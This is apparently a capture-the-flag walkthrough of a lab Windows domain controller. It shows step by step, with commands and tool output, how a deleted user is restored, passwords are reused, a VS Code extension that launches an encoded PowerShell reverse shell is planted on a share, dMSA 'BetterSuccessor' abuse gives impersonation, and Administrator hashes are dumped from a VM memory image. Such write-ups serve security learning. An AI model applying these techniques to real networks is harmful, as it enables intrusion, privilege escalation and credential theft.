Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-14 02:04:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 7h00m04s
| smb2-time:
| date: 2026-06-14T02:05:29
|_ start_date: N/A
Based on the open ports DC01 is the Domain Controller for the checkpoint.htb domain, so I add those names to my /etc/hosts file.
Initial Access
As is common in real life pentests, you will start the Checkpoint box with credentials for the following account
alex.turner / Checkpoint2024!
Privilege Escalation
Access as mark.davies
I first use bloodyad to find all objects that alex.turner can write to. This shows a deleted user called Mark Davies.
$ bloodyad --host dc01.checkpoint.htb \
-u 'alex.turner' \
-p 'Checkpoint2024!' \
get writable
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILDAlso with bloodyad I restore the deleted user back to its old glory, but my current privileges do not allow me to reset the password.
$ bloodyad --host dc01.checkpoint.htb \
-u 'alex.turner' \
-p 'Checkpoint2024!' \
set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htbWhat do to if one does not know the password? Check for password reuse and this time it’s successful as Checkpoint2024! also works for mark.davies.
$ nxc smb dc01.checkpoint.htb -u 'mark.davies' \
-p 'Checkpoint2024!' \
--shares
SMB 10.129.17.89 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.17.89 445 DC01 [+] checkpoint.htb\mark.davies:Checkpoint2024!
SMB 10.129.17.89 445 DC01 [*] Enumerated shares
SMB 10.129.17.89 445 DC01 Share Permissions Remark
SMB 10.129.17.89 445 DC01 ----- ----------- ------
SMB 10.129.17.89 445 DC01 ADMIN$ Remote Admin
SMB 10.129.17.89 445 DC01 C$ Default share
SMB 10.129.17.89 445 DC01 DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB 10.129.17.89 445 DC01 IPC$ READ Remote IPC
SMB 10.129.17.89 445 DC01 NETLOGON READ Logon server share
SMB 10.129.17.89 445 DC01 SYSVOL READ Logon server share
SMB 10.129.17.89 445 DC01 VMBackupsShell as ryan.brooks
Access to the new user also comes with write privileges to the DevDrop SMB share. According to its description it hosts VS Code extensions in .vsix format. The share is empty but users might install approved packages from there, so there’s a chance someone might load the one I can put there.
The necessary files for a new extension can be generated with yo1 after installing node. After providing some info, like the language to use, it writes the necessary stubs to the local directory.
$ npx --package yo --package generator-code -- yo code
Need to install the following packages:
yo@7.0.1
generator-code@1.11.18
Ok to proceed? (y) y
npm warn deprecated boolean@3.2.0: Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.
_-----_ ╭──────────────────────────╮
| | │ Welcome to the Visual │
|--(o)--| │ Studio Code Extension │
`---------´ │ generator! │
( _´U`_ ) ╰──────────────────────────╯
/___A___\ /
| ~ |
__'.___.'__
´ ` |° ´ Y `
`list` prompt is deprecated. Use `select` prompt instead.
✔ What type of extension do you want to create? New Extension (JavaScript)
✔ What's the name of your extension? revshell
✔ What's the identifier of your extension? revshell
✔ What's the description of your extension? revshell
✔ Enable JavaScript type checking in 'jsconfig.json'? No
✔ Initialize a git repository? No
`list` prompt is deprecated. Use `select` prompt instead.
✔ Which package manager to use? npm
Writing in revshell...
create revshell/.vscode/extensions.json
create revshell/.vscode/launch.json
create revshell/test/extension.test.js
create revshell/.vscodeignore
create revshell/README.md
create revshell/CHANGELOG.md
create revshell/vsc-extension-quickstart.md
create revshell/jsconfig.json
create revshell/extension.js
create revshell/package.json
create revshell/.vscode-test.mjs
create revshell/eslint.config.mjsI then remove all the HTTP links from README.md before packaging the contents, otherwise the command fails2. This does create a VSIX file that I could publish to the marketplace.
$ npx --package vscode --package vsce -- vsce package
WARNING A 'repository' field is missing from the 'package.json' manifest file.
Do you want to continue? [y/N] y
WARNING LICENSE.md, LICENSE.txt or LICENSE not found
Do you want to continue? [y/N] y
DONE Packaged: revshell-0.0.1.vsix (6 files, 2.56KB)A packaged extension is just another ZIP file with a few files inside. I want to place my malicious payload inside and therefore I extract the contents.
$ unzip -l revshell-0.0.1.vsix
Archive: revshell-0.0.1.vsix
Length Date Time Name
--------- ---------- ----- ----
1650 2026-06-14 18:35 extension.vsixmanifest
359 2026-06-14 18:35 [Content_Types].xml
235 2026-06-14 18:35 extension/CHANGELOG.md
1308 2026-06-14 17:31 extension/extension.js
677 2026-06-14 17:31 extension/package.json
4 2026-06-14 18:35 extension/README.md
--------- -------
4233 6 filesI remove the README.md and CHANGELOG.md as they are not really needed and their references in extension.vsixmanifest to get a minimal example.
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
<Metadata>
<Identity Language="en-US" Id="revshell" Version="0.0.1" Publisher="undefined" />
<DisplayName>revshell</DisplayName>
<Description xml:space="preserve">revshell</Description>
<Tags></Tags>
<Categories>Other</Categories>
<GalleryFlags>Public</GalleryFlags>
<Properties>
<Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.120.0" />
<Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
<Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />
<Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />
<Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />
<Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" />
<Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/>
</Properties>
</Metadata>
<Installation>
<InstallationTarget Id="Microsoft.VisualStudio.Code"/>
</Installation>
<Dependencies/>
<Assets>
<Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
</Assets>
</PackageManifest>Then within extensions/extension.js I add another require to execute code and place my reverse shell payload into the activate function3.
const vscode = require('vscode');
const { exec } = require('child_process');
function activate(context) {
console.log('Congratulations, your extension "revshell" is now active!');
exec('powershell -e <BASE64>');
}
function deactivate() {}
module.exports = {
activate,
deactivate
}Last I strip the extensions/package.json to a bare minimum. After setting the vscode engine to ^1.118.0 based on the SMB share description and using * as wildcard for the activationEvents to run on any event4, I zip the folder once again.
{
"name": "revshell",
"displayName": "revshell",
"description": "revshell",
"version": "0.0.1",
"engines": {
"vscode": "^1.118.0"
},
"activationEvents": ["*"],
"main": "./extension.js"
}Now I upload the VSIX file to the SMB share DevDrop and wait until I get a callback as ryan.brooks and access to the first flag.
$ zip -r ryuki.vsix .
adding: [Content_Types].xml (deflated 46%)
adding: extension/ (stored 0%)
adding: extension/extension.js (deflated 53%)
adding: extension/package.json (deflated 36%)
adding: extension.vsixmanifest (deflated 62%)
$ unzip -l ryuki.vsix
Archive: ryuki.vsix
Length Date Time Name
--------- ---------- ----- ----
359 2026-06-14 18:35 [Content_Types].xml
0 2026-06-14 19:20 extension/
1619 2026-06-14 19:18 extension/extension.js
204 2026-06-14 19:20 extension/package.json
1363 2026-06-14 19:13 extension.vsixmanifest
--------- -------
3545 5 filesShell as svc_deploy
In order to enumerate the Domain Controller from my own host, I get a TGT with Rubeus through a fake delegation as I don’t know the password for the account.
PS > .\Rubeus.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: PLq2bwlVEUp7ohyzX+6bYgoEDVOV9/qenZLdgqe4B9Q=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1DCCBdCgAw<SNIP>Then I decode it from base64 and convert it via ticketConverter from impacket. This allows me to use any other tool in the context of ryan.brooks.
$ base64 -d <<< "$BASE64" > ticket.kirbi
$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
$ export KRB5CCNAME=ticket.ccacheOnce again I enumerate all the objects that my current context can modify. Since working with Kerberos authentication now, I have to adjust my time to the DC. It uncovers write privileges to svc_deploy and the DMSAHolder organisational unit.
$ faketime -f +7h bloodyad --host dc01.checkpoint.htb \
-d checkpoint.htb \
-k get \
writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE
--- SNIP ---Since I can create children in the DMSAHolder OU, BadSuccessor comes in mind. The host is running Server 2025 and that’s when delegated Managed Service Accounts (dMSA) were introduced. I previously exploited this in Eighteen, but here the host is running a patched version (after 26100-4946) and I have to resort to BetterSuccessor5.
It’s close to the original bug but requires modification of the account one wants to take over by setting msDS-SupersededManagedAccountLink and msDS-ManagedAccountPrecededByLink. The latest version of SharpSuccessor automatically does that as long as the required privileges are present.
PS > .\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dMSA
_____ _ _____
/ ____| | / ____|
| (___ | |__ __ _ _ __ _ __| (___ _ _ ___ ___ ___ ___ ___ ___ _ __
\___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
____) | | | | (_| | | | |_) |___) | |_| | (_| (_| __/\__ \__ \ (_) | |
|_____/|_| |_|\__,_|_| | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|
| |
|_|
@_logangoins
[+] Adding dnshostname attacker_dMSA.checkpoint.htb
[+] Adding samaccountname attacker_dMSA$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfullyNow I request another TGT for ryan.brooks and use it to ask for a TGS impersonating the svc_deploy account.
PS > .\Rubeus.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: PLq2bwlVEUp7ohyzX+6bYgoEDVOV9/qenZLdgqe4B9Q=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1DCCBdCgA<SNIP>
PS > .\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgA<SNIP>
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'attacker_dmsa$' from 'ryan.brooks'
[+] Sequence number is: 1270556412
[*] Using domain controller: DC01.checkpoint.htb (fe80::e214:45a8:9548:bb88%5)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIF+jCCBfagAw<SNIP>
ServiceName : krbtgt/CHECKPOINT.HTB
ServiceRealm : CHECKPOINT.HTB
UserName : attacker_dmsa$ (NT_PRINCIPAL)
UserRealm : checkpoint.htb
StartTime : 6/14/2026 6:17:29 PM
EndTime : 6/14/2026 6:32:29 PM
RenewTill : 6/21/2026 5:52:27 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : /6Jz6srn9Re234PToBzn9uw52cmXIX60Lnh7buvJyS4=
Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) 4DF49173789742BF3B3F81CABA14DA148F336C34C439A31DC3FF16D82BC8CA48As done just a few minutes ago I convert the ticket again and then use it to connect via evil-winrm-py as the attacker_dmsa$ account, impersonatingsvc_deploy as that user is in the Remote Management Users group.
Shell as Administrator
Another group the svc_deploy user is part of is BackupAccess, so there’s a chance this allows access to the VMBackups share. There I do find a backup of a virtual machine from a nightly run in late 2024.
$ faketime -f +7h impacket-smbclient -k -no-pass dc01.checkpoint.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use VMBackups
# ls
drw-rw-rw- 0 Wed May 13 15:58:05 2026 .
drw-rw-rw- 0 Sat May 9 16:42:27 2026 ..
drw-rw-rw- 0 Wed May 13 15:58:18 2026 NightlyBackup_2024-11-01
# cd NightlyBackup_2024-11-01
# ls
drw-rw-rw- 0 Wed May 13 15:58:18 2026 .
drw-rw-rw- 0 Wed May 13 15:58:05 2026 ..
drw-rw-rw- 0 Wed May 13 15:58:18 2026 memory forensics
# cd memory forensics
# ls
drw-rw-rw- 0 Wed May 13 15:58:18 2026 .
drw-rw-rw- 0 Wed May 13 15:58:18 2026 ..
-rw-rw-rw- 106496000 Wed May 13 15:58:18 2026 Windows Server 2019-000001.vmdk
-rw-rw-rw- 2147483648 Wed May 13 15:58:18 2026 Windows Server 2019-Snapshot1.vmem
-rw-rw-rw- 138164859 Fri May 15 00:32:32 2026 Windows Server 2019-Snapshot1.vmsn
-rw-rw-rw- 270840 Wed May 13 15:58:18 2026 Windows Server 2019.nvram
-rw-rw-rw- 7642 Wed May 13 15:58:18 2026 Windows Server 2019.scoreboard
-rw-rw-rw- 10199695360 Wed May 13 15:58:18 2026 Windows Server 2019.vmdk
-rw-rw-rw- 502 Wed May 13 15:58:18 2026 Windows Server 2019.vmsd
-rw-rw-rw- 2749 Wed May 13 15:58:18 2026 Windows Server 2019.vmx
-rw-rw-rw- 274 Wed May 13 15:58:18 2026 Windows Server 2019.vmxfThe sub directory hosting the files is labeled memory forensics and this might be a backup prior to the upgrade to version 2025. If that’s the case the credentials might still be valid, so I download Windows Server 2019-Snapshot1.vmem and Windows Server 2019-Snapshot1.vmsn.
Then I extract all the hashes with volatility3 and try whether the Administrator hash is still valid. This is successful and I can use it to get an interactive session on DC01.
$ vol -f Windows\ Server\ 2019-Snapshot1.vmem windows.hashdump
Volatility 3 Framework 2.28.1
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479Attack Path
flowchart TD subgraph "Privilege Escalation" A(Access as alex.turner) -->|Restore deleted object| B(User mark.davies restored) B -->|Password Reuse| C(Access as mark.davies) C -->|SMB| D(Write access to DevDrop) D -->|Place malicious VS Code extension| E(Shell as ryan.brooks) E -->|BetterSuccessor| F(Shell as svc_deploy) F -->|Access to VM backups| G(Memory Image) G -->|Volatility to dump hashes| H(Shell as Administrator) end
